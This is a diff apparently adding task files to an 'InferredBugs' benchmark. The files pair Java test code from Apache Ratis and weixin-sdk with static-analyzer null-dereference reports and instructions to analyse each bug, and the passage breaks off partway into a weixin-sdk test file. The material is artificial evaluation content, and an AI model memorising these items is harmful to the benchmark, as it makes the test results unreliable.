+    if (killLeader) {
+      LOG.info("killAndRestart leader " + leader.getId());
+      killAndRestartLeader = killAndRestartServer(leader.getId(), 2000, 4000, cluster, LOG);
+    } else {
+      killAndRestartLeader = CompletableFuture.completedFuture(null);
+    }
+
+    LOG.info(cluster.printServers());
+
+    final SimpleMessage[] messages = SimpleMessage.create(numMessages);
+
+    try (final RaftClient client = cluster.createClient()) {
+      final AtomicInteger asyncReplyCount = new AtomicInteger();
+      final CompletableFuture<Void> f = new CompletableFuture<>();
+
+      for (SimpleMessage message : messages) {
+        if (async) {
+          client.sendAsync(message).thenAcceptAsync(reply -> {
+            if (!reply.isSuccess()) {
+              f.completeExceptionally(
+                  new AssertionError("Failed with reply " + reply));
+            } else if (asyncReplyCount.incrementAndGet() == messages.length) {
+              f.complete(null);
+            }
+          });
+        } else {
+          final RaftClientReply reply = client.send(message);
+          Assert.assertTrue(reply.isSuccess());
+        }
+      }
+      if (async) {
+        f.join();
+        Assert.assertEquals(messages.length, asyncReplyCount.get());
+      }
+    }
+    Thread.sleep(cluster.getTimeoutMax().toIntExact(TimeUnit.MILLISECONDS) + 100);
+    LOG.info(cluster.printAllLogs());
+    killAndRestartFollower.join();
+    killAndRestartLeader.join();
+
+    for(RaftServerProxy server : cluster.getServers()) {
+      final RaftServerImpl impl = RaftServerTestUtil.getRaftServerImpl(server, cluster.getGroupId());
+      if (impl.isAlive()) {
+        JavaUtils.attempt(() -> RaftTestUtil.assertLogEntries(impl, term, messages),
+            5, TimeDuration.valueOf(1, TimeUnit.SECONDS), impl.getId() + " assertLogEntries", LOG);
+      }
+    }
+  }
+
+
+  @Test
+  public void testOldLeaderCommit() throws Exception {
+    runWithNewCluster(NUM_SERVERS, this::runTestOldLeaderCommit);
+  }
+
+  void runTestOldLeaderCommit(CLUSTER cluster) throws Exception {
+    final RaftServerImpl leader = waitForLeader(cluster);
+    final RaftPeerId leaderId = leader.getId();
+    final long term = leader.getState().getCurrentTerm();
+
+    List<RaftServerImpl> followers = cluster.getFollowers();
+    final RaftServerImpl followerToSendLog = followers.get(0);
+    for (int i = 1; i < NUM_SERVERS - 1; i++) {
+      RaftServerImpl follower = followers.get(i);
+      cluster.killServer(follower.getId());
+    }
+
+    SimpleMessage[] messages = SimpleMessage.create(1);
+    RaftTestUtil.sendMessageInNewThread(cluster, leaderId, messages);
+
+    Thread.sleep(cluster.getTimeoutMax().toLong(TimeUnit.MILLISECONDS) + 100);
+    RaftLog followerLog = followerToSendLog.getState().getLog();
+    Assert.assertTrue(RaftTestUtil.logEntriesContains(followerLog, messages));
+
+    LOG.info(String.format("killing old leader: %s", leaderId.toString()));
+    cluster.killServer(leaderId);
+
+    for (int i = 1; i < 3; i++) {
+      RaftServerImpl follower = followers.get(i);
+      LOG.info(String.format("restarting follower: %s", follower.getId().toString()));
+      cluster.restartServer(follower.getId(), false );
+    }
+
+    Thread.sleep(cluster.getTimeoutMax().toLong(TimeUnit.MILLISECONDS) * 5);
+    // confirm the server with log is elected as new leader.
+    final RaftPeerId newLeaderId = waitForLeader(cluster).getId();
+    Assert.assertEquals(followerToSendLog.getId(), newLeaderId);
+
+    cluster.getServerAliveStream().map(s -> s.getState().getLog())
+        .forEach(log -> RaftTestUtil.assertLogEntries(log, term, messages));
+  }
+
+  @Test
+  public void testOldLeaderNotCommit() throws Exception {
+    runWithNewCluster(NUM_SERVERS, this::runTestOldLeaderNotCommit);
+  }
+
+  void runTestOldLeaderNotCommit(CLUSTER cluster) throws Exception {
+    final RaftPeerId leaderId = waitForLeader(cluster).getId();
+
+    List<RaftServerImpl> followers = cluster.getFollowers();
+    final RaftServerImpl followerToCommit = followers.get(0);
+    for (int i = 1; i < NUM_SERVERS - 1; i++) {
+      RaftServerImpl follower = followers.get(i);
+      cluster.killServer(follower.getId());
+    }
+
+    SimpleMessage[] messages = SimpleMessage.create(1);
+    RaftTestUtil.sendMessageInNewThread(cluster, leaderId, messages);
+
+    Thread.sleep(cluster.getTimeoutMax().toLong(TimeUnit.MILLISECONDS) + 100);
+    RaftTestUtil.logEntriesContains(followerToCommit.getState().getLog(), messages);
+
+    cluster.killServer(leaderId);
+    cluster.killServer(followerToCommit.getId());
+
+    for (int i = 1; i < NUM_SERVERS - 1; i++) {
+      RaftServerImpl follower = followers.get(i);
+      cluster.restartServer(follower.getId(), false );
+    }
+    waitForLeader(cluster);
+    Thread.sleep(cluster.getTimeoutMax().toLong(TimeUnit.MILLISECONDS) + 100);
+
+    final Predicate<LogEntryProto> predicate = l -> l.getTerm() != 1;
+    cluster.getServerAliveStream()
+            .map(s -> s.getState().getLog())
+            .forEach(log -> RaftTestUtil.checkLogEntries(log, messages, predicate));
+  }
+
+  static class Client4TestWithLoad extends Thread {
+    boolean useAsync;
+    final int index;
+    final SimpleMessage[] messages;
+
+    final AtomicBoolean isRunning = new AtomicBoolean(true);
+    final AtomicInteger step = new AtomicInteger();
+    final AtomicReference<Throwable> exceptionInClientThread = new AtomicReference<>();
+
+    final MiniRaftCluster cluster;
+    final Logger LOG;
+
+    Client4TestWithLoad(int index, int numMessages, boolean useAsync,
+        MiniRaftCluster cluster, Logger LOG) {
+      super("client-" + index);
+      this.index = index;
+      this.messages = SimpleMessage.create(numMessages, index + "-");
+      this.useAsync = useAsync;
+      this.cluster = cluster;
+      this.LOG = LOG;
+    }
+
+    boolean isRunning() {
+      return isRunning.get();
+    }
+
+    @Override
+    public void run() {
+      try (RaftClient client = cluster.createClient()) {
+        final CompletableFuture<Void> f = new CompletableFuture<>();
+        for (int i = 0; i < messages.length; i++) {
+          if (!useAsync) {
+            final RaftClientReply reply =
+                client.send(messages[step.getAndIncrement()]);
+            Assert.assertTrue(reply.isSuccess());
+          } else {
+            final CompletableFuture<RaftClientReply> replyFuture =
+                client.sendAsync(messages[i]);
+            replyFuture.thenAcceptAsync(r -> {
+              if (!r.isSuccess()) {
+                f.completeExceptionally(
+                    new AssertionError("Failed with reply: " + r));
+              }
+              if (step.incrementAndGet() == messages.length) {
+                f.complete(null);
+              }
+              Assert.assertTrue(r.isSuccess());
+            });
+          }
+        }
+        if (useAsync) {
+          f.join();
+          Assert.assertTrue(step.get() == messages.length);
+        }
+      } catch(Throwable t) {
+        if (exceptionInClientThread.compareAndSet(null, t)) {
+          LOG.error(this + " failed", t);
+        } else {
+          exceptionInClientThread.get().addSuppressed(t);
+          LOG.error(this + " failed again!", t);
+        }
+      } finally {
+        isRunning.set(false);
+      }
+    }
+
+    @Override
+    public String toString() {
+      return getClass().getSimpleName() + index
+          + "(step=" + step + "/" + messages.length
+          + ", isRunning=" + isRunning
+          + ", isAlive=" + isAlive()
+          + ", exception=" + exceptionInClientThread
+          + ")";
+    }
+  }
+
+  @Test
+  public void testWithLoad() throws Exception {
+    runWithNewCluster(NUM_SERVERS, cluster -> testWithLoad(10, 300, false, cluster, LOG));
+  }
+
+  static void testWithLoad(final int numClients, final int numMessages,
+      boolean useAsync, MiniRaftCluster cluster, Logger LOG) throws Exception {
+    LOG.info("Running testWithLoad: numClients=" + numClients
+        + ", numMessages=" + numMessages + ", async=" + useAsync);
+
+    waitForLeader(cluster);
+
+    final List<Client4TestWithLoad> clients
+        = Stream.iterate(0, i -> i+1).limit(numClients)
+        .map(i -> new Client4TestWithLoad(i, numMessages, useAsync, cluster, LOG))
+        .collect(Collectors.toList());
+    final AtomicInteger lastStep = new AtomicInteger();
+
+    final Timer timer = new Timer();
+    timer.schedule(new TimerTask() {
+      private int previousLastStep = lastStep.get();
+
+      @Override
+      public void run() {
+        LOG.info(cluster.printServers());
+        LOG.info(BlockRequestHandlingInjection.getInstance().toString());
+        LOG.info(cluster.toString());
+        clients.forEach(c -> LOG.info("  " + c));
+        JavaUtils.dumpAllThreads(s -> LOG.info(s));
+
+        final int last = lastStep.get();
+        if (last != previousLastStep) {
+          previousLastStep = last;
+        } else {
+          final RaftServerImpl leader = cluster.getLeader();
+          LOG.info("NO PROGRESS at " + last + ", try to restart leader=" + leader);
+          if (leader != null) {
+            try {
+              cluster.restartServer(leader.getId(), false);
+              LOG.info("Restarted leader=" + leader);
+            } catch (IOException e) {
+              LOG.error("Failed to restart leader=" + leader);
+            }
+          }
+        }
+      }
+    }, 5_000L, 10_000L);
+
+    clients.forEach(Thread::start);
+
+    int count = 0;
+    for(;; ) {
+      if (clients.stream().noneMatch(Client4TestWithLoad::isRunning)) {
+        break;
+      }
+
+      final int n = clients.stream().mapToInt(c -> c.step.get()).sum();
+      Assert.assertTrue(n >= lastStep.get());
+
+      if (n - lastStep.get() < 50 * numClients) { // Change leader at least 50 steps.
+        Thread.sleep(10);
+        continue;
+      }
+      lastStep.set(n);
+      count++;
+
+      try {
+        RaftServerImpl leader = cluster.getLeader();
+        if (leader != null) {
+          RaftTestUtil.changeLeader(cluster, leader.getId());
+        }
+      } catch (IllegalStateException e) {
+        LOG.error("Failed to change leader ", e);
+      }
+    }
+    LOG.info("Leader change count=" + count);
+    timer.cancel();
+
+    for(Client4TestWithLoad c : clients) {
+      if (c.exceptionInClientThread.get() != null) {
+        throw new AssertionError(c.exceptionInClientThread.get());
+      }
+      RaftTestUtil.assertLogEntries(cluster, c.messages);
+    }
+  }
+
+  public static void testRequestTimeout(boolean async, MiniRaftCluster cluster, Logger LOG) throws Exception {
+    waitForLeader(cluster);
+    long time = System.currentTimeMillis();
+    try (final RaftClient client = cluster.createClient()) {
+      // Get the next callId to be used by the client
+      long callId = RaftClientTestUtil.getCallId(client);
+      // Create an entry corresponding to the callId and clientId
+      // in each server's retry cache.
+      cluster.getServerAliveStream().forEach(
+          raftServer -> RetryCacheTestUtil.getOrCreateEntry(raftServer.getRetryCache(), client.getId(), callId));
+      // Client request for the callId now waits
+      // as there is already a cache entry in the server for the request.
+      // Ideally the client request should timeout and the client should retry.
+      // The retry is successful when the retry cache entry for the corresponding callId and clientId expires.
+      if (async) {
+        CompletableFuture<RaftClientReply> replyFuture = client.sendAsync(new SimpleMessage("abc"));
+        replyFuture.get();
+      } else {
+        client.send(new SimpleMessage("abc"));
+      }
+      // Eventually the request would be accepted by the server
+      // when the retry cache entry is invalidated.
+      // The duration for which the client waits should be more than the retryCacheExpiryDuration.
+      TimeDuration duration = TimeDuration.valueOf(System.currentTimeMillis() - time, TimeUnit.MILLISECONDS);
+      TimeDuration retryCacheExpiryDuration = RaftServerConfigKeys.RetryCache.expiryTime(cluster.getProperties());
+      Assert.assertTrue(duration.compareTo(retryCacheExpiryDuration) >= 0);
+    }
+  }
+
+  public static void testStateMachineMetrics(boolean async,
+      MiniRaftCluster cluster, Logger LOG) throws Exception {
+    RaftServerImpl leader = waitForLeader(cluster);
+    long time = System.currentTimeMillis();
+    try (final RaftClient client = cluster.createClient()) {
+
+      // this is required because the lastAppliedTermIndex is not initialized
+      ((BaseStateMachine) leader.getStateMachine()).initLastAppliedTermIndex();
+      Assert.assertTrue(leader.isLeader());
+
+      Gauge appliedIndexGauge = getStatemachineGaugeWithName(leader,
+          RatisMetricNames.STATEMACHINE_APPLIED_INDEX_GAUGE);
+      Gauge smAppliedIndexGauge = getStatemachineGaugeWithName(leader,
+          RatisMetricNames.STATEMACHINE_APPLY_COMPLETED_GAUGE);
+
+      long appliedIndexBefore = (Long) appliedIndexGauge.getValue();
+      long smAppliedIndexBefore = (Long) smAppliedIndexGauge.getValue();
+      checkFollowerCommitLagsLeader(cluster);
+
+      if (async) {
+        CompletableFuture<RaftClientReply> replyFuture = client.sendAsync(new SimpleMessage("abc"));
+        replyFuture.get();
+      } else {
+        client.send(new SimpleMessage("abc"));
+      }
+
+      long appliedIndexAfter = (Long) appliedIndexGauge.getValue();
+      long smAppliedIndexAfter = (Long) smAppliedIndexGauge.getValue();
+      checkFollowerCommitLagsLeader(cluster);
+
+      Assert.assertTrue("StateMachine Applied Index not incremented",
+          appliedIndexAfter > appliedIndexBefore);
+      Assert.assertTrue("StateMachine Apply completed Index not incremented",
+          smAppliedIndexAfter > smAppliedIndexBefore);
+    }
+  }
+
+  private static void checkFollowerCommitLagsLeader(MiniRaftCluster cluster) {
+    List<RaftServerImpl> followers = cluster.getFollowers();
+    RaftServerImpl leader = cluster.getLeader();
+
+    RatisMetricRegistry leaderMetricsRegistry =
+        RatisMetrics.getMetricRegistryForRaftLeader(
+            leader.getMemberId().toString());
+
+    Gauge leaderCommitGauge = RaftLeaderMetrics
+        .getPeerCommitIndexGauge(leader, leader);
+
+    for (RaftServerImpl follower : followers) {
+      Gauge followerCommitGauge = RaftLeaderMetrics
+          .getPeerCommitIndexGauge(leader, follower);
+      Assert.assertTrue((Long)leaderCommitGauge.getValue() >=
+          (Long)followerCommitGauge.getValue());
+    }
+  }
+
+  private static Gauge getStatemachineGaugeWithName(RaftServerImpl server,
+      String gaugeName) {
+
+    RatisMetricRegistry ratisStateMachineMetricRegistry =
+        RatisMetrics.getMetricRegistryForStateMachine(
+            server.getMemberId().toString());
+
+    SortedMap<String, Gauge> gaugeMap =
+        ratisStateMachineMetricRegistry.getGauges((s, metric) ->
+            s.contains(gaugeName));
+
+    return gaugeMap.get(gaugeMap.firstKey());
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `leader` last assigned on line 476 could be null and is dereferenced at line 480.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RaftBasicTests.checkFollowerCommitLagsLeader(MiniRaftCluster)
+
+### Procedure Id:
+org.apache.ratis.RaftBasicTests.checkFollowerCommitLagsLeader(org.apache.ratis.MiniRaftCluster):void.a964fcfe640f4d2dc66e88475a016d59
+
+### File:
+ratis-server/src/test/java/org/apache/ratis/RaftBasicTests.java
+
+### Key:
+RaftBasicTests.java|checkFollowerCommitLagsLeader|NULL_DEREFERENCE
+
+### Node Key:
+42f56fda1ad408e362508b93a175bb0c
+
+### Hash:
+9c9a6d6cb412988cef9a536d8f794856
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5473/instruction.md b/inferredbugs-5473/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..45059a15b6bdaa2f5e9cadcffd5d382461b0aed1
--- /dev/null
+++ b/inferredbugs-5473/instruction.md
@@ -0,0 +1,476 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** incubator-ratis
+**Bug ID:** 14
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.ratis.datastream;
+
+import org.apache.ratis.BaseTest;
+import org.apache.ratis.MiniRaftCluster;
+import org.apache.ratis.client.impl.DataStreamClientImpl;
+import org.apache.ratis.client.impl.DataStreamClientImpl.DataStreamOutputImpl;
+import org.apache.ratis.conf.RaftProperties;
+import org.apache.ratis.proto.RaftProtos.*;
+import org.apache.ratis.protocol.DataStreamReply;
+import org.apache.ratis.protocol.GroupInfoReply;
+import org.apache.ratis.protocol.GroupInfoRequest;
+import org.apache.ratis.protocol.GroupListReply;
+import org.apache.ratis.protocol.GroupListRequest;
+import org.apache.ratis.protocol.GroupManagementRequest;
+import org.apache.ratis.protocol.RaftClientReply;
+import org.apache.ratis.protocol.RaftClientRequest;
+import org.apache.ratis.protocol.RaftGroup;
+import org.apache.ratis.protocol.RaftGroupId;
+import org.apache.ratis.protocol.RaftPeer;
+import org.apache.ratis.protocol.RaftPeerId;
+import org.apache.ratis.proto.RaftProtos.DataStreamPacketHeaderProto.Type;
+import org.apache.ratis.protocol.SetConfigurationRequest;
+import org.apache.ratis.rpc.RpcType;
+import org.apache.ratis.server.DataStreamServerRpc;
+import org.apache.ratis.server.RaftServer;
+import org.apache.ratis.server.impl.DataStreamServerImpl;
+import org.apache.ratis.server.impl.ServerFactory;
+import org.apache.ratis.statemachine.StateMachine;
+import org.apache.ratis.statemachine.impl.BaseStateMachine;
+import org.apache.ratis.statemachine.StateMachine.DataStream;
+import org.apache.ratis.util.JavaUtils;
+import org.apache.ratis.util.LifeCycle;
+import org.apache.ratis.util.NetUtils;
+import org.junit.Assert;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.nio.channels.WritableByteChannel;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.ThreadLocalRandom;
+import java.util.stream.Collectors;
+
+abstract class DataStreamBaseTest extends BaseTest {
+  static final int MODULUS = 23;
+
+  static byte pos2byte(int pos) {
+    return (byte) ('A' + pos%MODULUS);
+  }
+
+  static class MultiDataStreamStateMachine extends BaseStateMachine {
+    final ConcurrentMap<Long, SingleDataStream> streams = new ConcurrentHashMap<>();
+
+    @Override
+    public CompletableFuture<DataStream> stream(RaftClientRequest request) {
+      final SingleDataStream s = new SingleDataStream();
+      streams.put(request.getCallId(), s);
+      return s.stream(request);
+    }
+
+    SingleDataStream getSingleDataStream(long callId) {
+      return streams.get(callId);
+    }
+  }
+
+  static class SingleDataStream {
+    private int byteWritten = 0;
+    private RaftClientRequest writeRequest;
+
+    final WritableByteChannel channel = new WritableByteChannel() {
+      private volatile boolean open = true;
+
+      @Override
+      public int write(ByteBuffer src) {
+        if (!open) {
+          throw new IllegalStateException("Already closed");
+        }
+        final int remaining = src.remaining();
+        for(; src.remaining() > 0; ) {
+          Assert.assertEquals(pos2byte(byteWritten), src.get());
+          byteWritten += 1;
+        }
+        return remaining;
+      }
+
+      @Override
+      public boolean isOpen() {
+        return open;
+      }
+
+      @Override
+      public void close() {
+        open = false;
+      }
+    };
+
+    final DataStream stream = new DataStream() {
+      @Override
+      public WritableByteChannel getWritableByteChannel() {
+        return channel;
+      }
+
+      @Override
+      public CompletableFuture<?> cleanUp() {
+        try {
+          channel.close();
+        } catch (Throwable t) {
+          return JavaUtils.completeExceptionally(t);
+        }
+        return CompletableFuture.completedFuture(null);
+      }
+    };
+
+    public CompletableFuture<DataStream> stream(RaftClientRequest request) {
+      writeRequest = request;
+      return CompletableFuture.completedFuture(stream);
+    }
+
+    public int getByteWritten() {
+      return byteWritten;
+    }
+
+    public RaftClientRequest getWriteRequest() {
+      return writeRequest;
+    }
+  }
+
+  protected RaftProperties properties;
+
+  private List<DataStreamServerImpl> servers;
+  private List<RaftPeer> peers;
+  private ConcurrentMap<RaftGroupId, MultiDataStreamStateMachine> stateMachines;
+
+  protected RaftServer newRaftServer(RaftPeer peer, RaftProperties properties) {
+    return new RaftServer() {
+      @Override
+      public RaftPeerId getId() {
+        return peer.getId();
+      }
+
+      @Override
+      public StateMachine getStateMachine(RaftGroupId groupId) {
+        return stateMachines.computeIfAbsent(groupId, key -> new MultiDataStreamStateMachine());
+      }
+
+      @Override
+      public RaftProperties getProperties() {
+        return properties;
+      }
+
+
+      @Override
+      public RequestVoteReplyProto requestVote(RequestVoteRequestProto request) {
+        return null;
+      }
+
+      @Override
+      public AppendEntriesReplyProto appendEntries(AppendEntriesRequestProto request) {
+        return null;
+      }
+
+      @Override
+      public InstallSnapshotReplyProto installSnapshot(InstallSnapshotRequestProto request) {
+        return null;
+      }
+
+      @Override
+      public CompletableFuture<AppendEntriesReplyProto> appendEntriesAsync(AppendEntriesRequestProto request) {
+        return null;
+      }
+
+      @Override
+      public RpcType getRpcType() {
+        return null;
+      }
+
+      @Override
+      public RaftClientReply submitClientRequest(RaftClientRequest request) {
+        return null;
+      }
+
+      @Override
+      public RaftClientReply setConfiguration(SetConfigurationRequest request) {
+        return null;
+      }
+
+      @Override
+      public CompletableFuture<RaftClientReply> submitClientRequestAsync(RaftClientRequest request) {
+        return null;
+      }
+
+      @Override
+      public CompletableFuture<RaftClientReply> setConfigurationAsync(SetConfigurationRequest request) {
+        return null;
+      }
+
+      @Override
+      public GroupListReply getGroupList(GroupListRequest request) {
+        return null;
+      }
+
+      @Override
+      public GroupInfoReply getGroupInfo(GroupInfoRequest request) {
+        return null;
+      }
+
+      @Override
+      public RaftClientReply groupManagement(GroupManagementRequest request) {
+        return null;
+      }
+
+      @Override
+      public CompletableFuture<GroupListReply> getGroupListAsync(GroupListRequest request) {
+        return null;
+      }
+
+      @Override
+      public CompletableFuture<GroupInfoReply> getGroupInfoAsync(GroupInfoRequest request) {
+        return null;
+      }
+
+      @Override
+      public CompletableFuture<RaftClientReply> groupManagementAsync(GroupManagementRequest request) {
+        return null;
+      }
+
+      @Override
+      public void close() {
+      }
+
+      @Override
+      public Iterable<RaftGroupId> getGroupIds() {
+        return null;
+      }
+
+      @Override
+      public Iterable<RaftGroup> getGroups() {
+        return null;
+      }
+
+      @Override
+      public ServerFactory getFactory() {
+        return null;
+      }
+
+      @Override
+      public void start() {
+      }
+
+      @Override
+      public LifeCycle.State getLifeCycleState() {
+        return null;
+      }
+    };
+  }
+
+
+  protected void setup(int numServers){
+    peers = Arrays.stream(MiniRaftCluster.generateIds(numServers, 0))
+        .map(RaftPeerId::valueOf)
+        .map(id -> new RaftPeer(id, NetUtils.createLocalServerAddress()))
+        .collect(Collectors.toList());
+    servers = new ArrayList<>(peers.size());
+    stateMachines = new ConcurrentHashMap<>();
+    // start stream servers on raft peers.
+    for (int i = 0; i < peers.size(); i++) {
+      final RaftPeer peer = peers.get(i);
+      final RaftServer server = newRaftServer(peer, properties);
+      final DataStreamServerImpl streamServer = new DataStreamServerImpl(server, properties, null);
+      final DataStreamServerRpc rpc = streamServer.getServerRpc();
+      if (i == 0) {
+        // only the first server routes requests to peers.
+        List<RaftPeer> otherPeers = new ArrayList<>(peers);
+        otherPeers.remove(peers.get(i));
+        rpc.addRaftPeers(otherPeers);
+      }
+      rpc.start();
+      servers.add(streamServer);
+    }
+  }
+
+  DataStreamClientImpl newDataStreamClientImpl() {
+    return new DataStreamClientImpl(peers.get(0), properties, null);
+  }
+
+  protected void shutdown() throws IOException {
+    for (DataStreamServerImpl server : servers) {
+      server.close();
+    }
+  }
+
+  protected void runTestDataStream(int numServers, int numClients, int numStreams, int bufferSize, int bufferNum)
+      throws Exception {
+    try {
+      setup(numServers);
+      runTestDataStream(numClients, numStreams, bufferSize, bufferNum);
+    } finally {
+      shutdown();
+    }
+  }
+
+  private void runTestDataStream(int numClients, int numStreams, int bufferSize, int bufferNum) throws Exception {
+    final List<CompletableFuture<Void>> futures = new ArrayList<>();
+    final List<DataStreamClientImpl> clients = new ArrayList<>();
+    try {
+      for (int j = 0; j < numClients; j++) {
+        final DataStreamClientImpl client = newDataStreamClientImpl();
+        clients.add(client);
+        for (int i = 0; i < numStreams; i++) {
+          futures.add(CompletableFuture.runAsync(
+              () -> runTestDataStream((DataStreamOutputImpl) client.stream(), bufferSize, bufferNum)));
+        }
+      }
+      Assert.assertEquals(numClients*numStreams, futures.size());
+      futures.forEach(CompletableFuture::join);
+    } finally {
+      for (int j = 0; j < numClients; j++) {
+        clients.get(j).close();
+      }
+    }
+  }
+
+  private void runTestDataStream(DataStreamOutputImpl out, int bufferSize, int bufferNum) {
+    final List<CompletableFuture<DataStreamReply>> futures = new ArrayList<>();
+    final List<Integer> sizes = new ArrayList<>();
+
+    //send data
+    final int halfBufferSize = bufferSize/2;
+    int dataSize = 0;
+    for(int i = 0; i < bufferNum; i++) {
+      final int size = halfBufferSize + ThreadLocalRandom.current().nextInt(halfBufferSize);
+      sizes.add(size);
+
+      final ByteBuffer bf = initBuffer(dataSize, size);
+      futures.add(out.writeAsync(bf));
+      dataSize += size;
+    }
+
+    { // check header
+      final DataStreamReply reply = out.getHeaderFuture().join();
+      Assert.assertTrue(reply.isSuccess());
+      Assert.assertEquals(0, reply.getBytesWritten());
+      Assert.assertEquals(reply.getType(), Type.STREAM_HEADER);
+    }
+
+    // check writeAsync requests
+    for(int i = 0; i < futures.size(); i++) {
+      final DataStreamReply reply = futures.get(i).join();
+      Assert.assertTrue(reply.isSuccess());
+      Assert.assertEquals(sizes.get(i).longValue(), reply.getBytesWritten());
+      Assert.assertEquals(reply.getType(), Type.STREAM_DATA);
+    }
+
+    final RaftClientRequest header = out.getHeader();
+    for (MultiDataStreamStateMachine s : stateMachines.values()) {
+      final SingleDataStream stream = s.getSingleDataStream(header.getCallId());
+      if (stream == null) {
+        continue;
+      }
+      final RaftClientRequest writeRequest = stream.getWriteRequest();
+      if (writeRequest.getClientId().equals(header.getClientId())) {
+        Assert.assertEquals(writeRequest.getCallId(), header.getCallId());
+        Assert.assertEquals(writeRequest.getRaftGroupId(), header.getRaftGroupId());
+        Assert.assertEquals(writeRequest.getServerId(), header.getServerId());
+      }
+      Assert.assertEquals(dataSize, stream.getByteWritten());
+    }
+  }
+
+  static ByteBuffer initBuffer(int offset, int size) {
+    final ByteBuffer buffer = ByteBuffer.allocateDirect(size);
+    final int length = buffer.capacity();
+    buffer.position(0).limit(length);
+    for (int j = 0; j < length; j++) {
+      buffer.put(pos2byte(offset + j));
+    }
+    buffer.flip();
+    Assert.assertEquals(length, buffer.remaining());
+    return buffer;
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `rpc` last assigned on line 291 could be null and is dereferenced at line 296.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DataStreamBaseTest.setup(int)
+
+### Procedure Id:
+org.apache.ratis.datastream.DataStreamBaseTest.setup(int):void.3471298660ac9924a03cd191a2305482
+
+### File:
+ratis-test/src/test/java/org/apache/ratis/datastream/DataStreamBaseTest.java
+
+### Key:
+DataStreamBaseTest.java|setup|NULL_DEREFERENCE
+
+### Node Key:
+3ec183584b4deed12b004740862531be
+
+### Hash:
+2b8bb86cfeddc7063e037dd4185ace5d
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5475/instruction.md b/inferredbugs-5475/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9812eb9ed3ada817db2b1b315160ed1e1e58f0ff
--- /dev/null
+++ b/inferredbugs-5475/instruction.md
@@ -0,0 +1,235 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** weixin-sdk
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.riversoft.weixin.contact;
+
+import com.fasterxml.jackson.core.JsonGenerator;
+import com.fasterxml.jackson.core.JsonProcessingException;
+import com.fasterxml.jackson.dataformat.csv.CsvMapper;
+import com.fasterxml.jackson.dataformat.csv.CsvSchema;
+import com.google.common.io.Files;
+import com.riversoft.weixin.contact.bean.department.Department;
+import com.riversoft.weixin.contact.bean.job.JobResult;
+import com.riversoft.weixin.contact.bean.user.CreateUser;
+import com.riversoft.weixin.contact.bean.user.ReadUser;
+import org.apache.commons.io.FileUtils;
+import org.junit.Assert;
+import org.junit.Test;
+
+import java.io.*;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by exizhai on 10/7/2015.
+ */
+public class JobsTest {
+
+    private final CsvSchema DEPARTMENT_SCHEMA = new CsvSchema.Builder().addColumn("name").addColumn("id")
+            .addColumn("parentid").addColumn("order").build();
+    private final CsvSchema USER_SCHEMA = new CsvSchema.Builder().addColumn("name").addColumn("userid")
+            .addColumn("weixinid").addColumn("mobile").addColumn("email").addArrayColumn("department").addColumn("position").build();
+    private final CsvMapper csvMapper = new CsvMapper();
+
+    @Test
+    public void testInvite(){
+        List<String> users = new ArrayList<>();
+        users.add("user1");
+        users.add("user2");
+        users.add("user3");
+
+        List<Integer> departments = new ArrayList<>();
+        departments.add(100);
+        departments.add(101);
+        departments.add(102);
+
+        List<Integer> tags = new ArrayList<>();
+        tags.add(1);
+        tags.add(2);
+        tags.add(3);
+
+        String job = Jobs.defaultJobs().invite(users, departments, tags);
+        JobResult result = Jobs.defaultJobs().getResult(job);
+
+        Assert.assertNotNull(result);
+    }
+
+    @Test
+    public void testReplaceDepartments(){
